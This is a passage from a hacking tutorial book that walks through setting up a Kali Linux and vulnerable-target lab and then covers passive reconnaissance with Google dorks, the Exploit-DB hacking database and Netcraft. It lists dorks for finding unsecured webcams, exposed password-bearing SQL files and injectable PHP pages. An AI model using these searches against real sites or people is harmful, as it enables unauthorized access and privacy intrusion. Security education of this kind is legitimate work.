Kali Linux MA 64-Bit	E HTTP   Torrent	3.16	2019.2	f81ca6a35bo	:d61678f1a84dc894902	lb11c7434d80f35be2	ac8d6f08dfd93bad	
Kali Linux Ligi armhf	t HTTP   Torrent	741M	2019.2	0f3ad59fc2f	ed868cb3ddaab38c796	la190e54e655c50b95	61f847e9d17a7963	
Kali Linux KDE 64-Bit	HTTP   Torrent	3.5G	2019.2	b794d360923	lc1f2c73f60783b8506cl	fe3d4746c20e009ad	21aa37b47c32749f	

It's important to choose the right download. Along the left side of the table, you will see the *image name*, which is the name of the version that the link downloads. For instance, the first is Kali Linux 64-Bit, meaning it's the full Kali Linux, and is suitable for 64-bit systems—most modern systems use a 64-bit Intel or AMD CPU. To determine what type of CPU is on your system, go to **Control Panel** System and Security System, and it should be listed. If yours is a 64-bit system, download and install the 64-bit version of the full Kali (not Light or Lxde, or any of the alternatives).

If you are running an older computer with a 32-bit CPU, you will need to install the 32-bit version that appears lower on the page.

You have a choice of downloading via HTTP or Torrent. If you choose HTTP, Kali will download directly to your system and place the image in your Downloads folder. The TORRENT download is the peer-to-peer download used by many file-sharing sites. You will need a torrenting application like BitTorrent to use this. The Kali file then will be downloaded to the folder in which the torrenting application stores it's downloads.

There are other versions for other types of CPUs, such as the commonly used ARM architecture found in so many mobile devices. If you are using a Raspberry Pi, a tablet, or other mobile device (phone users will likely prefer Kali NetHunter), make certain you download and install the ARM architecture version of Kali by scrolling down to Download ARM images and clicking Kali Arm Images.

Now that you have Kali downloaded, but before you install anything, I want to talk a bit about virtual machines. As I mentioned above, Virtual Machine (VM) technology allows you to run multiple operating systems from one piece of hardware like your laptop or desktop. This means that you can continue to run your familiar Windows, Mac or Linux operating system and run a virtual machine of Kali Linux *inside* that operating system. You don't need to overwrite your existing OS to learn hacking.

Let's install VirtualBox as our virtualization system.

### **Installing VirtualBox**

You can download VirtualBox at *www.virtualbox.org*. You should see a Downloads button in the left menu. Click the **Downloads** button, which will take you to the screen shown below. Select the download link for your computer's current operating system, which will host VirtualBox VM. Make sure to download the latest version of VirtualBox.



When the download has completed, click the setup file and you will be greeted by a familiar Setup Wizard like below.



Click Next, and you should be greeted with the Custom Setup screen.

From this screen, simply click Next.

Keep clicking Next until you get to the Network Interfaces warning screen, and then just click Yes.

Click **Install** to begin the process. During this process, you will likely be prompted several times about installing *device software*. These are the virtual networking devices necessary for your virtual machines to communicate. Click **Install** for each one.

When the installation is complete, click **Finish**.

### Setting Up Your Virtual Machine

Now let's get you started installing our virtual machines. VirtualBox should open once it has installed—if not, open it—and you should be greeted by the VirtualBox Manager, as seen below.



Since we will be creating a new virtual machine with our Kali Linux, click **New** in the upper-left corner. This opens the **Create Virtual Machine** window as seen below.

		8 x
G Create	Virtual Machine	- <u>-</u>
Name	and operating system	
Please of type of be used	hoose a descriptive name for the new virtual machine and operating system you intend to install on it. The name you throughout VirtualBox to identify this machine.	d select the u choose will
Name:	Kali	
Type:	Linux	- 64
Version:	Debian (64-bit)	<b>_</b>
	Expert Mode Next	Cancel

Give your machine a name in the first window (any name is okay, but I simply used Kali) and then select **Linux** from the Type pull-down menu. Finally, select **Debian (64-bit)** from the third pull-down (unless you are using the 32-bit version of Kali, in which case select the Debian 32-bit version). Click **Next**, and you'll see a screen like below. Here, we need to select how much RAM we want to allocate to this new virtual machine.



As a rule of thumb, I don't recommend using more than 25% of your total system RAM. That means if you have installed 4GB on your physical or host system, then select just 1GB for your virtual machine, and if you have 16GB on your physical system, then select 4GB. The more RAM you give your virtual machine, the better and faster it will run, but you must also leave enough RAM for your host operating system and our other virtual machines you might want to run simultaneously. Your virtual machines will not use any RAM when you are not using them, but they will use hard drive space.

Click Next, and you'll get to the Hard disk screen. Choose Create a virtual hard disk now and click Create.

In the next screen, you can decide whether you want the hard drive you are creating to be allocated dynamically or at a fixed size. If you choose **Dynamic allocated**, the system will *not* take the entire maximum size you allocate for the virtual hard disk until you need it, saving more unused **hard drive space** for your host system. I suggest you select Dynamically allocated.

Click **Next**, and you'll choose the amount of hard drive space to allocate to the VM and the location of the VM .

File location and size		
Please type the name of the new vir folder icon to select a different folde	tual hard disk file into the box below or cli r to create the file in.	ck on the
Kali		C.
4.00 MB	2.00 TB	23.2 0

The default is 8GB. I usually find that to be a bit small and recommend that you allocate 20–25GB as a minimum. Remember, if you chose to dynamically allocate hard drive space, it won't use the space until you need it, and expanding your hard drive after it has already been allocated can be tricky, so better to err on the high side.

Click Create, and you're ready to go!

### Installing Kali in the VM

At this point, you should see a screen like that below. Now you'll need to install Kali. Note that on the left of the VirtualBox Manager, you should see an indication that Kali VM is powered off. Click the Start button (green arrow icon).



The VirtualBox Manager will then ask where to find the startup disk. You've already downloaded a disk image with the extension *.iso*, which should be in your *Downloads* folder (if you used a torrent to download Kali, the *.iso* file will be in the *Downloads* folder of your torrenting application). Click the folder icon to the right and navigate to the *Downloads* folder, and select the Kali image file.



Then click **Start**.

Congratulations! You are on your way!

### Setting Up Kali

Kali will now open a screen like below, offering you several startup choices. I suggest using the graphical install for beginners.



Use your keyboard keys to navigate the menu.

If you get an error when you're installing Kali into your VirtualBox, it's likely because you don't have virtualization enabled within your systems BIOS. Each system and its BIOS will be slightly different, so check with your manufacturer or search online for solutions with your system and BIOS. In addition, on Windows systems, you will likely need to disable any competing virtualization software such as Hyper-V. Again, an internet search for your system should guide you in doing so.

You will next be asked to select your language. Make certain you select the language you are most comfortable working in and then click **Continue**. Next, select your location, click **Continue**, and then select your keyboard layout.

When you click **Continue**, VirtualBox will go through a process of detecting your hardware and network adapters. Just wait patiently as it does so. Eventually, you will greeted by a screen asking you to configure your network, like below.



The first item it asks for is the name of your host. You can name it anything you please, but I left mine with the default "Kali."

Next, you will asked for the domain name. It's not necessary to enter anything here. Click **Continue**. The next screen, is very important. Here, you are asked for the password you want to use for the *root* user.

The root user in Linux is the all-powerful system administrator (sysadmin). You can use anything you feel secure with. If this were a physical system that we are using on the Internet, I would suggest that you use a very long and complex password to limit the ability of an attacker cracking it. Since this is a virtual machine that people can't access without accessing your host operating system, password authentication on this virtual machine is less important, but still, choose wisely.

Click **Continue**, and you will be asked to set your time zone. Do so and then continue.

The next screen asks about partition disks. Choose **Guided – use entire disk**, and Kali will detect your hard drives and set up a partitioner automatically.

Kali will then warn you that all data on the disk you select will be erased... but don't worry! This is a virtual disk, and the disk is new and empty, so this won't actually do anything. Click **Continue**.

Kali will now ask you if you want all files in one partition (a partition is just what it sounds like—a portion or segment of your hard drive) or if you want to have separate partitions. If this was a production system, you probably would select separate partitions for */home*, */var* and */tmp*, but considering that we will be using this as a learning system in a virtual environment, you should simply select **All files in one partition**.

Now you be will asked whether to write your changes to disk. Select **Finish Partitioning and write changes to disk**. Kali will prompt you once more to see if you want to write the changes to disk; select **Yes** and click **Continue**.



Kali will now begin to install the operating system. This could take awhile, so be patient. Now is the time to take your bathroom break and get your favorite beverage.

Once the installation is complete, you will be prompted as to whether you want to use a network mirror. This really is not necessary, **but you may want to select a network mirror updates and additional software near your physical location**.

Then Kali will install GRUB (Grand Unified Bootloader). A bootloader enables you to select different operating systems to boot into, which means when you boot your machine you can boot into either Kali or another operating system. Select **Yes**. Then Kali will install the GRUB bootloader.

On the next screen, you will prompted as to whether you want to install the GRUB bootloader automatically or manually. For reasons as yet unclear, if you choose the second option, Kali will tend to hang and display a blank screen after installation. Select **Enter Device Manually**.

On the following screen, select the drive where the GRUB bootloader should be installed (it will likely be something like /dev/sda. (Unlike Windows, Linux designates hard drive as sda, sbd, etc. See Linux Basics for Hackers for more information). Click through to the next screen, which should tell you that the installation is complete.

Congratulations! You installed Kali. Click **Continue**. Kali will attempt to reboot, and you will see a number of lines of code go across a blank, black screen before eventually **you are greeted with Kali 2019**'s login screen, as shown below.

	Sat 11:56	<b>⊕</b> -	¢⊄ =0)) ( <sup>1</sup> ) →

Login as *root*, and you will be asked for your password. Enter whatever password you selected for your root user.

After logging in as root using your password, you will be greeted with the Kali Linux desktop like that below.



### **Installing Your Target Systems**

Throughout this book, we will focus on two target systems, Metasploitable 2, a purposely vulnerable Linux system and Windows 7. To download and install Metasploitable 2, click go to <u>https://sourceforge.net/projects/metasploitable/</u>. Once it has been downloaded it, simply follow the instructions above for Kali to install your Metasploitable 2. The login for Metasploitable 2 is username:*msfadmin* and password: *msfadmin* 

To install Windows 7, things are a bit trickier. For you to fully engage with our exercises on Windows 7, you will need an unpatched Windows 7 system. Maybe you have one around your home, school or office. If not, you can search around the Internet and find numerous downloadable copies. Install it into your VirtualBox system, just as you did with Kali above.

		?	$\times$
÷	Create Virtual Machine		
	N		
	Name and operating system		
	Name: Windows 7 Target		
	Machine Folder: C:\Users\OTW\VirtualBox VMs		$\sim$
	Type: Microsoft Windows	•	64
	Version: Windows 7 (64-bit)	•	
	Memory size		
		2048	‡ MB
	4 MB 16384 MB		
	Hard disk		
	🔿 Do not add a virtual hard disk		
	Create a virtual hard disk now		
	O Use an existing virtual hard disk file		
	Kali 2019.vdi (Normal, 26.67 GB)	~	
	Guided Mode Create	Ca	ancel

Eventually, you will be greeted by that familiar Windows 7 login screen.



Lastly, we need to install MySQL on to the Windows 7 system. Go to www.oldapps.com and search for Windows applications. Go to the MySQL server and download and install MySQL v5.5.15

Apps			🖉 Windows 🧭 Ha	cintosh 💩 Linux 🔊 Timelir
Home Community	Search Contribute I	telp About		Search OldApps
Home > Old Applications for W	findows			Top Downloads
Messengers	😵 File Sharing	Browsers	Audio Utilities	→ Skype 6.3.0.107
AOL Instant Messenger	Ares Galaxy	Avant Browser	ac3filter	→ Internet Explorer 6.0 (Full
mIRC	Azureus	Firebird (Phoenix)	Audacity	Installer)
MSN (Live) Messenger	BearShare	Firefox	foobar2000	-> uTorreat 2.2.1
Nimbuzz Messenger	BitTorrent	Google Chrome	iTunes	
Pidgin Messenger	DC Plus Plus	Internet Explorer	JetAudio	→ Java 6 Update 43
Skype	FrostWire	Maxthon	MediaMonkey	→ Skype 5.10.0.116
Trillian	LimeWire	Netscape	MusicMatch Jukebox	→ Skype 6.0.0.120
TweetDeck	gBittorrent	Opera	Real Player	→ Java Runtime Environment 1.5
X-Chat	uTorrent	Safari for Windows	Songbird	→ Java 6 Update 37
Yahoo Messenger	WinMX	SeaMonkey	Winamp	
View All	View All	View All	View All	→ Acobe Flash Player 11.7.700.1

Once you have installed MySQL for Windows, you will need to open the MySQL terminal (go to **Programs** then **MySQL**) to create our test database and populate the database with the following commands.

CREATE DATABASE `moviedb`

USE `moviedb`;

CREATE TABLE `creditcards` (

'id' varchar(20) DEFAULT NULL,
'first\_name' varchar(50) DEFAULT NULL,
'last\_name' varchar(50) DEFAULT NULL,
'expiration' date DEFAULT NULL

ALTER TABLE `creditcards` DISABLE KEYS \*/;

INSERT INTO `creditcards` VALUES ('001','Tom','Hanks','0000-00-00'),('002','Sandra','Bullock','0000-00-00'),('003','Alan','Rickman','0000-00-00');

CREATE TABLE `stars` (

`id` int(11) NOT NULL, `first\_name` varchar(50) DEFAULT NULL, `last\_name` varchar(50) DEFAULT NULL, `dob` date DEFAULT NULL, `photo\_url` varchar(200) DEFAULT NULL, PRIMARY KEY (`id`)

INSERT INTO `stars` VALUES (755011,'Arnold','Schwarzeneggar','1947-07-

30','http://www.imdb.com/gallery/granitz/2028/Events/2028/ArnoldSchw\_Grani\_1252920\_400.jpg?path=pgallery&path\_key=Schwarzenegger,%20Arnold'),(755017,'Eddie','Murphy','1961-04-03','http://www.imdb.com/gallery/granitz/2487/Events/2487/EddieMurph\_Pimen\_2724994\_400.jpg?path=pgallery&path\_key=Murphy,%20Eddie%20(I)');

Congratulations! You are now ready to embark on a journey of "a thousand steps!" Be patient with yourself, you will not become a Master Hacker overnight, but you have taken the first important steps in that journey.

47 | Page

# 5

### **Passive Reconnaissance**

"Listen" closely and intently to your enemy; they will tell you everything you need to know to defeat them

Master OTW



### Many on this path to becoming a master hacker tend to

discount the need to do information gathering or reconnaissance. These newbies (I don't use that as a term of disparagement, but as a descriptor. We all began as newbies) want to rush right into attacking a target system. The master hacker understands that the more they know about the target, the better their chances of success. As I mentioned earlier in Chapter 3 on the "Hacker

Process," reconnaissance may take up to 90 percent of the entire project time and, in some cases, may take months.

This chapter will focus on gathering information about our target from publicly available sources. These techniques are often termed "passive reconnaissance" because the hacker gathers information without interacting with the target. Some people also refer to this as open-source intelligence (OSINT). All of the information comes from third-party sources who have already gathered the information about our target.

The information you gather in this stage depends upon the target. If the target is a website, you want to know as much about the technologies behind the web site as possible. If the target is a domain, you want to know as much about the domain as possible. If the target is a person, you want to know as much as possible about the person.

It would be impossible to include all the passive-reconnaissance techniques, so we will limit ourselves to just a few here:

- 1. Google Hacking
- 2. Netcraft
- 3. Shodan
- 4. DNS
- 5. p0F

For additional passive reconnaissance techniques, go to www.hackers-arise.com/osint.

### **Hacking Google**

As we all know, Google operates the most widely used Internet search engine on the planet. Google crawls nearly every web page of every web site, and builds a massive database of all the information it gathers. Most people then use Google's database to search by **keywords** for articles relevant to the subject of their inquiry. Google then retrieves the most relevant web sites based upon its algorithm (the PageRank algorithm, named for Larry Page, one of Google's founders), which prioritizes the articles.

What few know is that Google has particular keywords and operators that can assist you in extracting precise information from this extraordinary database. As a hacker, that Google database may yield information about potential targets that could prove invaluable, including passwords.

Let's take a look at a few of those keywords and what they do.

### **Google Hacking Keywords**

Please note that Google's keywords require a colon (:) between the keyword and the search terms, such as

intitle:hackers-arise.

Although far from an exhaustive list, here are some of the more widely used Google keywords:

allinanchor	If you use the allinanchor keyword, Google restricts your search to those web pages that have ALL of the terms you are looking for in the anchor of the page.
allintext	If you use the allintext keyword, Google restricts your search to those pages that have ALL of the search terms you specify in the text of the page.
allintitle	If you use the allintitle keyword, Google restricts your

	search to those pages that have ALL of the search terms you specify in the title of the page
allinurl	If you use the allinurl keyword, Google restricts your search to those pages that have ALL of the search terms you specify in the URL of the page.
filetype	If you use the filetype keyword, Google restricts your search to those pages that have the filetype you specify. For instance, to search for an Adobe PDF file, you could use filetype:pdf
inanchor	If you use the inanchor keyword, Google restricts your search to those pages that have search terms you specify in the anchor of the page.
intext	If you use the intext keyword, Google restricts your search to those pages that have the search terms you specify in the text of the page.
intitle	If you use the intitle keyword, Google restricts your search to those pages that have the search terms you specify in the title of the page.
inurl	If you use the inurl keyword, Google restricts your search to those pages that have the search terms you specify in the URL of the page.
link	When you use the link keyword followed by the URL, Google shows you all the sites that link back to the specified URL.
site	If you use the site keyword, Google restricts your search to the site or domain you specify.

### **Google Hacking Examples**

Let's look at some examples of how we can use Google hacking to find relevant web sites and files.

As you know, many firms store important financial and other information in Excel files. We could use a simple Google hack that looks for the Excel filetype, ".xls" or ".xlsx".

filetype:xls



We can get a bit more selective and combine Google keywords to look for Excel files in government websites (by using the keyword **site** with the top level domain **.gov**) that have the word "contact" in their URL. This yields web pages that have contact lists from government agencies, a possible treasure trove for social engineering (see Chapter 17 for "Social Engineering").

filetype:xlssite:govinurl:contact



If I were looking for an Excel file with email addresses, I might use the following:

filetype:xls inurl:email.xls

Many PHP applications are vulnerable to SQL injection (see Chapter 12) and other attacks. We can look for these types of web applications with:

inurl:index.php?id=



Some other Google hacks that might yield interesting results include:

intitle:"site administration:please log in"

If I were pursuing a social engineering attack and I want to gather useful information on my target, I might use:

intitle:"curriculum vitae" filetype:doc



Effectively finding unsecured web cams is one of the more fun aspects of Google hacks. The following list shows some of these effective hacks for finding vulnerable web cams:

allintitle: "Network Camera NetworkCamera"
intitle:"EvoCam" inurl:"webcam.html"
intitle:"Live View / - AXIS"
intitle:"LiveView / - AXIS"
inurl:view/view.shtml
inurl:indexFrame.shtml "Axis Video Server"
inurl:axis-cgi/jpg
inurl:"MultiCameraFrame?Mode=Motion"
inurl:/view.shtml
inurl:/view/index.shtml
"mywebcamXP server!"

Google dorks are innumerable and some people, such as Johnny Long, specialize in developing effective Google dorks. Long has written a couple of good books on the subject. Another good source for Google dorks is the Exploit Database at <u>www.exploit-db.com</u>. If you go there and click on the GHDB tab to the left of the screen, we can find the latest Google dorks.

*	EXPLOIT DATABASE	0 I T 4 S E				
Ŭ	EXPLOITS					
٩	CHICO	Has App				
B	PAPERS					
		D	A	V	Title	Туре
		<u>+</u>		×	Interspire Email Marketer 6.20 - 'surveys_submit.php' Remote Code Execution	WebApps
		±		×	Iperius Backup 6.1.0 - Privilege Escalation	Local
ର୍ଷ୍		± .		×	CEWE Photo Importer 6.4.3 - '.jpg' Denial of Service (PoC)	DoS
-4		±		×	CEWE Photoshow 6.4.3 - 'Password' Denial of Service (PoC)	DoS
1	SEARCHSPLOIT MANUAL	± .		×	Sandboxie 5.30 - 'Programs Alerts' Denial of Service (PoC)	DoS
±		·		×	SEL AcSELerator Architect 2.2.24 - CPU Exhaustion Denial of Service	DoS
		· ±		×	Axessh 4.2 - 'Log file name' Denial of Service (PoC)	DoS
•	ONE INF TRAINING	· •		×	ZOC Terminal v7.23.4 - 'Shell' Denial of Service (PoC)	DoS
÷.		• •		×	ZOC Terminal v7.23.4 - 'Private key file' Denial of Service (PoC)	DoS
PWK	PENETRATION TESTING WITH KALI	• <u>+</u>		×	ZOC Terminal 7.23.4 - 'Script' Denial of Service (PoC)	DoS

When we click on the GHDB tab, it opens:

Google Hacking Database						
Show 15 •			Quick Search			
Date Added #	Dork	Category	Autho			
2019-05-16	site:global.gotomeeting.com inurl:recording	Files Containing Juicy Info	edm0n			
2019-05-15	inurl:/web-console/ServerInfo.jsp   inurl:/status?full=true	Various Online Devices	Miguel Sant			
2019-05-15	inurl:/CFIDE/administrator/index.cfm   inurl:/CFIDE/componentutils/login.cfm   inurl:/CFIDE/main/ide.cfm   inurl:/CFIDE/wizards/	Various Online Devices	Miguel Sant			
2019-05-14	intitle:"oracle bi publisher enterprise login"	Pages Containing Login Portals	Alfie			
2019-05-13	"keyed alike" site:gov filetype:pdf	Files Containing Juicy Info	edm0n			
2019-05-13	inurl:"/Shop/auth/login"	Pages Containing Login Portals	Manish Bhan			
2019-05-13	inurl:office365 AND intitle:"Sign In   Login   Portal"	Pages Containing Login Portals	Isalah Pu			
2019-05-13	intext:"Login   Password' AND intext:"Powered by   username" AND intext:Drupal AND inurl:user	Pages Containing Login Portals	Isalah Pu			
2019-05-13	intext:"config" intitle:"Index of .ssh"	Files Containing Juicy Info	vocuzi			
2019-05-08	"php class JConfig" AND inurl:configuration AND ext:"bak   old   pdf   php   txt"	Files Containing Juicy Info	Isalah Pu			
2019-05-08	inurl:"urlstatusgo.html?url="-intext:"Disallowed by URL filter"	Footholds	Dec0y			

Here we can find thousands of Google dorks. Some are more effective than others.

We can be very specific about the kind of dorks we are seeking. For instance, if we were targeting WordPress websites, we could enter the keyword "wordpress" in the search window, and this site would display all the Google dorks relevant to WordPress built websites (WordPress is the world's most popular content management system for building websites). Among the many Google dorks we find here is a more complex one that combines several phrases:

filetype:sql intext:password | pass | passwd
intext:usernameintext:INSERT INTO `users` VALUES

When we use this dork, we find several web sites. When we click on one, we find the following:



As you can see, we were able to find an SQL script that inserted users and passwords into a database. As we can scan through this script, we find numerous username and password pairs. These should make hacking these accounts pretty simple!

### **Google Hacking Summary**

Google hacking is a key skill that every hacker should be aware of and master. In many cases, it can yield information on our target that may save us hours, or even days, in exploiting a target.

As we continue to expand on information-gathering techniques, keep in mind that you are **unlikely** to use all of these techniques on one project. Each project is unique, and you will need to customize your information-gathering techniques to the target. It is also important to note here that we are using publicly available information that does not require we "touch" the domain or website of the potential target and, thereby, trigger some alert by an Intrusion Detection System (IDS) or other security devices as we are gathering information.

In this chapter, I'll introduce you to more techniques for gathering information on your target from publicly available sources.

### Netcraft

Netcraft is a project out the United Kingdom that began as an effort to track data about web servers and websites. It is a very reliable source for data on the market share of web server technologies. For instance, if you want to know what percent of web servers are running Apache (38.77%),or the most reliable hosting companies (Lightcrest) or the most widely used hosting companies (Softlayer), Netcraft is the authoritative source. As it does this task of gathering information, it has garnered a remarkable amount of information on millions of websites and servers that we can mine and may prove useful in developing a strategy toward a particular target.

You can find the website at <u>www.netcraft.com</u>; the screenshot below shows the netcraft.com home web page.



Notice about two-thirds of the way down on the far right, there is a window labeled "What's that site running?" Below that label it states, "Find out what technologies are powering any website." Finding what technologies the website runs is precisely what we want to do!

Let's select a target and see what we can find out about them. Nearly all of us are familiar with Facebook. Let's see what information Netcraft has gathered about www.facebook.com. Put "facebook.com" into the window and hit ENTER.

Searchdos.netcraft.com/?host=fa	cebook.com8xx58yx5			≂ C    Q, netcraft	→ ☆	0 🕇 🕈 🖻	1
RETCRAFT	атіан	SSD C	LOUD VPS	\$4.97 Per Month			
Netcraft Services	Search Web by Dom	ain				NEWI	
<ul> <li>Netcraft News</li> </ul>						SSD	
Phishing & Security	Explore 1.672.997 web sites visited by u	sers of the Netcraft Toolbar			1st March 2015	CLOUD	
<ul> <li>Anti-Phishing Toolbar</li> </ul>						CLOOD	
<ul> <li>Phishing Site Feed</li> </ul>		Searchi		search tips		VPS	
Fraud Detection		site contains ·	racebook.com	юскирг			
Phishing Site		example:	site contains unetcraft.com			UP IN 30	
<ul> <li>Countermeasures</li> </ul>						SECONDS	
<ul> <li>Audited by Netcraft</li> </ul>	Results for facebook	com					
<ul> <li>Open Redirect Detection</li> <li>Wab Application Reputits</li> </ul>						WINDOWS	
<ul> <li>Testing</li> </ul>	Found 166 sites					ANDLINUX	
Web Application Security	Site	Site Report	First seen	Netblock	05	SERVERS	
Clube	1. static-ak-facebook.com	6	december 2006	akamai technologies	unknown	FREE 21B	
Internet Data Mining	2. www.facebook.com	6	may 1997	facebook, inc.	linux	TRANSFER	
<ul> <li>Million Busiest Websites</li> </ul>	3. Lfacebook.com	6	may 2014	facebook, inc.	linux	1 March 1997	
Analysis	4. facebook.com	6	febuary 2005	facebook, inc.	linux	-310	
<ul> <li>Hosting Provider Server Count</li> </ul>	5. fr-fr-facebook.com	6	november 2008	facebook, inc.	linux		
<ul> <li>Hosting Reseller Survey</li> </ul>	6. apps.facebook.com	6	july 2007	facebook, inc.	linux		
<ul> <li>SSL Survey</li> </ul>	7. de-de-facebook.com	6	november 2008	facebook, inc.	linux		<u>۱</u>
Internet Exploration	8. m.facebook.com	6	december 2006	facebook, inc.	linux	attantic net	
Whats that site running?	9. pl-pl-facebook.com	6	november 2008	facebook, inc.	linux		
<ul> <li>SearchDNS</li> </ul>	10. it-it.facebook.com	6	november 2008	facebook, inc.	linux	From	
<ul> <li>Sites on the Move</li> </ul>	11. es-es-facebook.com	6	november 2008	facebook, inc.	linux	\$4.97	
Performance	12. pt-br.facebook.com	6	june 2008	facebook, inc.	linux	DecManth	
Hosting Prospects	13. ja-jp-facebook.com	6	november 2008	facebook, inc.	linux	-rer Month	
Performance Alerts	14. sv-se-facebook.com	6	november 2008	facebook, inc.	linux		
<ul> <li>Performance</li> </ul>	15. zh-tw.facebook.com	6	june 2008	facebook, inc.	linux		
OCSP Responder	16. en-gb.facebook.com	6	december 2008	facebook, inc.	linus		
Performance Monitoring	17. graph/acebook.com	6	june 2010	facebook, inc.	linux		
<ul> <li>Dedicated Server Monitoring</li> </ul>	18. Im.facebook.com	6	june 2014	facebook, inc.	linux		
Advertising	19. nb.facebook.com		august 2008	facebook, inc.	linus		
<ul> <li>Banner Advertising on Netcraft</li> </ul>	20. www.facebook.com.br		june 2010	facebook, inc.	linux		
About Natorall		-					
As you can see in the screenshot above, Netcraft lists multiple sites and servers for Facebook. Over the years, Facebook has expanded around the world with servers in many nations. Let's take a look at Facebook's original site, www.facebook.com. The listing tells us it was first seen in May 1997, the netblock is held by Facebook and the OS this site is running is Linux. If we click on the "site report" in the middle we can see more information on Facebook.

toolbar.netcraft.com/site_report?url	http://www.facebook.o	tom	V	୯ ି ଏ net	craft		→ ☆	ê 🕴	<b>^</b>
<b>HETCRAFT</b>		atlantic.net SSD CLOU	JD VPS e 2TB Transfer	From 4.97 Per Month					
		Site report for www.	facebook.co	m					
arch	Lookup another	1101 -			Share:	0000		NEW!	2
	Enter a URL	here							
etcraft Extension									שפפ
Home	Backgro	und						CL	.00
Download Now! Report a Phish Site Report	Site title	Welcome to Facebook — Log in, sign up or learn more	Date first seen	May 1997				\ \	VPS
Top Reporters Incentives for reporters	Site rank	23	Primary language	English					P IN 3
Phishiest TLDs Phishiest Countries	Description	Facebook is a social utility that connects peo People use Facebook to keep up with	ble with friends and	others who	o work, study a	nd live aroun	d them.	wi	NDOW
Phishiest Hosters	Keywords	Not Present						AN	D LINU
Phishing Map Takedown Map Most Popular Websites	Network	ĸ						SE FR	ERVERS
Branded Extensions Tell a Friend	Site	http://www.facebook.com	Netblock Owner	Facebook,	Inc.			TRA	ANSFE
iching & Fraud	Domain	facebook.com	Nameserver	a.ns.faceb	ook.com			1	
ising a riada	IP address	66.220.152.19	DNS admin	dns@facel	book.com			1	
Phishing Site Feed	IPv6 address	2a03:2880:2110:9f07:face:b00c:0:1	Reverse DNS	edge-star-	shv-09-frc1.fac	ebook.com			
Hosting Phishing Alerts SSL CA Phishing Alerts Registry Phishing Alerts	Domain registrar	markmonitor.com	Nameserver organisation	whois.mar	kmonitor.com				Z
Domain Registration Risk Bank Fraud Detection	Organisation	Facebook, Inc., 1601 Willow Road,, Menlo Park, 94025, United States	Hosting company	Facebook,	Inc			атца	antic.ne
Phishing Site Countermeasures	Top Level Domain	Commercial entities (.com)	DNS Security Extensions	unknown				\$	4.9'
tension Support	Hosting country	I US	Latest Performance	Perfor	mance Graph			Pe	er Monti
FAQ Glossary Context Lin	Hosting	History							
Report a Bug	Netblock owne	r	IP address	os	Web server	Last seen	Refresh		
	Facebook, Inc.	1601 Willow Rd. Menlo Park CA US 94025	173.252.110.2	7 Linux	unknown	27-Feb-20	15		
torials	Facebook, Inc.	1601 Willow Rd. Menlo Park CA US 94025	66.220.152.19	Linux	unknown	19-Feb-20	15		
Installing the Extension	Facebook, Inc.	1601 Willow Rd. Menlo Park CA US 94025	173.252.110.2	7 Linux	unknown	18-Feb-20	15		
Using the Extension	Facebook, Inc.	1601 Willow Rd. Menlo Park CA US 94025	173.252.100.2	7 Linux	unknown	12-Feb-20	15		

The site report includes:

- The site title;
- The web site rank among the internet's millions of sites;
- The date first seen;
- Primary language;
- Description;

The Hosting History section includes more interesting information such as:

- IP address
- The operating system
- The web server
- Last seen

If we scroll down a bit, we see more information on the technologies that the site is using.

Security							
Netcraft Risk Rating (MAQ)	0/10	•					
On Spanhaus Block List	Ne		On Exploits Block List	No			
On Policy Block List	Ne		On Domain Block List	Ne			
Sender Policy Fra	amework						
A host's Sender Policy Framewor This qualifier to: For more inform	k (SPF) describes who can send mail on its br ation please see openad, ore.	ehaif. This is done by publishin	g an SPF record containing a series of rules.	Each rule consists of a qualifier followed by	a specification of which doma	ins to apply	
Warning: It appears that this hor	d does not have an SPF record. Setting up an	SPF record helps prevent the	delivery of forged emails from your domain.				
DMARC	MARC						
DMARC (Domain-based Message a method to set policy and to gi	authentication, Reporting and Conformance) re reporting of failures. For more information	) is a mechanism for domain o please see <del>dmarc.org</del> .	where to indicable how mail purporting to ong	inale from their domain should be authentic	aded. It builds on SPF and DK	24, providing	
Rew DMARC record: webblick; prospeck; potentill; cum	an and a set of a set						
Tag	Fiel	ы	Value				
p=reject	Reg	uested handling policy	Reject: emails that fail the DHARC med branaction.	tanism check should be rejected. Rejection	SHOULD occur during the SHIT	<ul> <li>Constraints</li> <li>Constrai</li></ul>	
pct=100	San	nping rate	100% of messages from the Domain Ov	ner's mail stream should have DMARC appli	ed.		
ruanmalteid@rua.agari.com	n,mailto:postmaster@facebook.com f.ep 640	corting UR2(x) for appropriate	dürus aparl.com, postmaster@facebook				
rufnmailtexd@ruf.agari.com	lay .	orting URI(s) for failure data	00n/lapari.com				
Web Trackers							
Web Trackers are third-party res from these backers are primarily No known trackers were iden	oven leaded onto a vebpage. Trackable res vand for advertising or analytics purposes. Hilfed.	eurtes include social sharing w	ilgeta, javasorijt files, and images. These b	nokers can be used to monitor individual us	er behaviour across the web.	Deta derived	
Web Tradiens are third-party res from these tradiens are primarily No known trackers were iden Site Technology Server-Side	ourse loaded onto a webpage. Treshable res used for alvertaing or analytics purposes. Ablied.	eources include social sharing w	idgets, javascript films, and images. These b	reckers can be used to monitor individual us	er behaviour across the web. Felched on 1501 Fe	Deta derived	
Web Tracken are third-party res from Track Designs are primarily No known trackers were iden Site Technology Server-Side Indudes all the main technologie	ourse loaded onto a velopage. Trestatio re- used for advertising or analytics purposes. diffee.	eures indude social sharing w er such as 240,	ilgela, javasulųt Sina, and Imagea. These b	notens can be used to monitor individual us	er beheviour ecross the web. Petched on 15th Pe	Deta derived	
Web Tracken an Biol-party no from these builds are primally No known trackens were iden Site Technology Server-Side Indudes all the main technologe Technology	uves laded only a webpage. Textuality as used for alvertising or analytics purposes, stilled. I fail failers? defails as surving on the serv Description	eurosa indude accial sharing o eerouth as Prof.	ilgela, javaariyt flex, and images. These b	adians can be used to monitor individual us Popular alters using this	er behaviour across the web. Petched on 1501 Pe technology	Deta derivel	
With Treatment and Treich party me from Diese healens are primerity No known treatment work the State Technology Server-Side Doubors all the main bethologie Technology Party G	surtes leaded only a webpage. Tradition me used for absorbing or analytics purposes. Unliked. In Traditional deficience an unring on the servi- Description Prior is supported and/or run	eurosa indude social sharing n er such as PriP.	idgets, ja-secript files, and images. These b	schem can be used to mention individual us Popular alters using this www.wind.com, www.wind	er behaviour across the web. Fetched on 15th Fe technology safucon , www.angaligel.com	Deta derivel	
